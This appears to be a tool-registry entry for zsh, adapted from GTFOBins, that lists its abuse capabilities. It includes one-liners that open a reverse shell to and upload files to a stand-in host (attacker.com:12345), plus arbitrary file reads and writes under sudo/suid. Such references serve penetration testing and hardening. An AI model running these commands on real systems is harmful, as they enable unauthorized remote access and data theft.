shell enabled community medium v1.0.0

zsh

Z shell with advanced features; can execute commands, transfer data, read/write files, and spawn shells.

📋 Live Preview

zsh

zsh

Sandbox: execFile · Timeout: 30s

Capabilities

network.transfer.download

system.file.read

system.file.write

security.execution.reverse-shell

security.privilege-escalation.shell

network.transfer.upload

Contract

Outputs

process.output

Command execution output

Side effects: process_spawn

Workflow Edges

Produces

process.output

Resource Profile

Resource	Value
CPU	low
Memory	16 MB
Network	none
Disk I/O	low

Examples

Download files (sudo, suid, unprivileged)

zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;echo -n "$(<&$REPLY)" >/path/to/output-file'

Read arbitrary files (sudo, suid, unprivileged)

zsh -c 'echo "$(</path/to/input-file)"'

Read arbitrary files (sudo, suid, unprivileged)

zsh -c '</path/to/input-file'

Write to arbitrary files (sudo, suid, unprivileged)

zsh -c 'echo DATA >/path/to/output-file'

Leverage less capabilities

zsh -c '</etc/hosts'

Send a reverse shell (sudo, suid, unprivileged)

zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;zsh >&$REPLY 2>&$REPLY 0>&$REPLY'

Spawn an interactive shell (sudo, suid, unprivileged)

zsh

Upload files (sudo, suid, unprivileged)

zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;echo -n "$(</path/to/input-file)" >&$REPLY'

Documentation

zsh

zsh is a command-line utility. Z shell with powerful features; can also download files, read arbitrary files, write to arbitrary files, send a reverse shell, spawn an interactive shell, upload files Can also leverage capabilities from: less.

References

GTFOBins